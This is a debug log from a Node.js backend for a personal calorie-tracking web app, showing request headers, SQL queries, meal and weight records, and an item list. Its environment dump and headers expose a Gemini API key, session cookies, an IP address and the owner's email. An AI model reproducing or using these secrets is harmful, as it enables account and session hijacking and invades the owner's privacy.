    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'x-forwarded-for': '157.48.248.157',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T03:30:22.106Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.248.157',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'HTTP_X_FORWARDED-FOR': '157.48.248.157',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-20T04:09:38.908Z server-connect:app Executing action step identify
2025-12-20T04:09:38.908Z server-connect:app options: { provider: 'security' }
2025-12-20T04:09:38.909Z server-connect:output identity: 1
2025-12-20T04:09:39.277Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-20T04:09:39.277Z server-connect:app Executing action step identify
2025-12-20T04:09:39.277Z server-connect:app options: { provider: 'security' }
2025-12-20T04:09:39.277Z server-connect:output identity: 1
2025-12-20T04:09:39.277Z server-connect:app Executing action step restrict
2025-12-20T04:09:39.277Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:09:39.278Z server-connect:output restrict: undefined
2025-12-20T04:09:39.278Z server-connect:app Executing action step single
2025-12-20T04:09:39.278Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-20T04:09:39.278Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-20T04:09:39.278Z server-connect:app Executing action step select
2025-12-20T04:09:39.279Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-20T04:09:39.279Z server-connect:output item_list: [
  {
    id: 460,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea,BCAA supplements (calorie-free)',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 2,
    skip_reason: "Pre-workouts vary greatly in ingredients and calorie content. Some can contain significant amounts of sugar or artificial sweeteners, and their effectiveness for muscle development can be debated. While generally safe, it's good to be mindful of what's in your specific pre-workout."
  },
  {
    id: 461,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Paneer (soft and fluffy)',
    calories: 352,
    protein_gm: 23,
    carbs_gm: 4,
    fat_gm: 28,
    quantity: '110 gm',
    replacements: 'Tofu (firm or extra-firm),Low-fat cottage cheese,Chicken breast,Egg whites',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 1,
    skip_reason: "Paneer is a good source of protein and fat, essential for muscle development. While it's relatively high in calories and fat, in moderation and as part of a balanced diet, it's beneficial for your goals."
  }
]
2025-12-20T04:09:39.279Z server-connect:app Executing action step setvalue
2025-12-20T04:09:39.279Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-20T04:09:39.279Z server-connect:output var_total: 352
2025-12-20T04:09:39.279Z server-connect:app Executing action step setvalue
2025-12-20T04:09:39.279Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-20T04:09:39.280Z server-connect:output var_consumed: 15
2025-12-20T04:09:39.280Z server-connect:app Executing action step setvalue
2025-12-20T04:09:39.280Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-20T04:09:39.280Z server-connect:output var_deficit: 2048
2025-12-20T04:09:39.280Z server-connect:app Executing action step custom
2025-12-20T04:09:39.280Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-20T04:09:39.281Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '352',
    surplus_or_deficit: '2048',
    status_flag: 2
  }
]
2025-12-20T04:09:39.284Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-20T04:09:39.284Z server-connect:app Executing action step identify
2025-12-20T04:09:39.284Z server-connect:app options: { provider: 'security' }
2025-12-20T04:09:39.284Z server-connect:output identity: 1
2025-12-20T04:09:39.285Z server-connect:app Executing action step restrict
2025-12-20T04:09:39.285Z server-connect:app options: { provider: 'security' }
2025-12-20T04:09:39.285Z server-connect:output restrict: undefined
2025-12-20T04:09:39.285Z server-connect:app Executing action step single
2025-12-20T04:09:39.285Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-20T04:09:39.286Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-20T04:09:39.286Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-20T04:09:39.287Z server-connect:output summary: undefined
2025-12-20T04:09:39.288Z server-connect:app Executing action step identify
2025-12-20T04:09:39.288Z server-connect:app options: { provider: 'security' }
2025-12-20T04:09:39.288Z server-connect:output identity: 1
2025-12-20T04:09:39.288Z server-connect:app Executing action step restrict
2025-12-20T04:09:39.288Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:09:39.288Z server-connect:app Executing action step identify
2025-12-20T04:09:39.288Z server-connect:app options: { provider: 'security' }
2025-12-20T04:09:39.288Z server-connect:output identity: 1
2025-12-20T04:09:39.288Z server-connect:app Executing action step restrict
2025-12-20T04:09:39.288Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:09:39.288Z server-connect:output restrict: undefined
2025-12-20T04:09:39.288Z server-connect:app Executing action step single
2025-12-20T04:09:39.289Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-20T04:09:39.289Z server-connect:output restrict: undefined
2025-12-20T04:09:39.289Z server-connect:app Executing action step select
2025-12-20T04:09:39.289Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-20T04:09:39.289Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-20T04:09:39.291Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-20T04:09:39.795Z server-connect:app Executing action step identify
2025-12-20T04:09:39.795Z server-connect:app options: { provider: 'security' }
2025-12-20T04:09:39.795Z server-connect:output identity: 1
2025-12-20T04:09:42.512Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-20T04:09:42.512Z server-connect:app Executing action step identify
2025-12-20T04:09:42.512Z server-connect:app options: { provider: 'security' }
2025-12-20T04:09:42.512Z server-connect:output identity: 1
2025-12-20T04:09:42.512Z server-connect:app Executing action step restrict
2025-12-20T04:09:42.513Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:09:42.513Z server-connect:output restrict: undefined
2025-12-20T04:09:42.513Z server-connect:app Executing action step select
2025-12-20T04:09:42.513Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-20T04:09:42.514Z server-connect:output items_consumed_today: [
  {
    id: 460,
    item_name: 'Pre-workout',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 scoop'
  },
  {
    id: 461,
    item_name: 'Paneer (soft and fluffy)',
    calories: 352,
    protein_gm: 23,
    carbs_gm: 4,
    fat_gm: 28,
    quantity: '110 gm'
  }
]
2025-12-20T04:09:42.514Z server-connect:app Executing action step paged
2025-12-20T04:09:42.514Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-20T04:09:42.516Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 16,
  page: {
    offset: { first: 0, prev: 0, next: 15, last: 15 },
    current: 1,
    total: 2
  },
  data: [
    { date: '2025-12-19T18:30:00.000Z', weight: '69.95' },
    { date: '2025-12-18T18:30:00.000Z', weight: '70.50' },
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' }
  ]
}
2025-12-20T04:09:42.516Z server-connect:app Executing action step run
2025-12-20T04:09:42.516Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-20T04:09:42.517Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 460 | Pre-workout | 0 | 0 | 0 | 0 | 1 scoop |\n' +
  '| 461 | Paneer (soft and fluffy) | 352 | 23 | 4 | 28 | 110 gm |\n' +
  '\n'
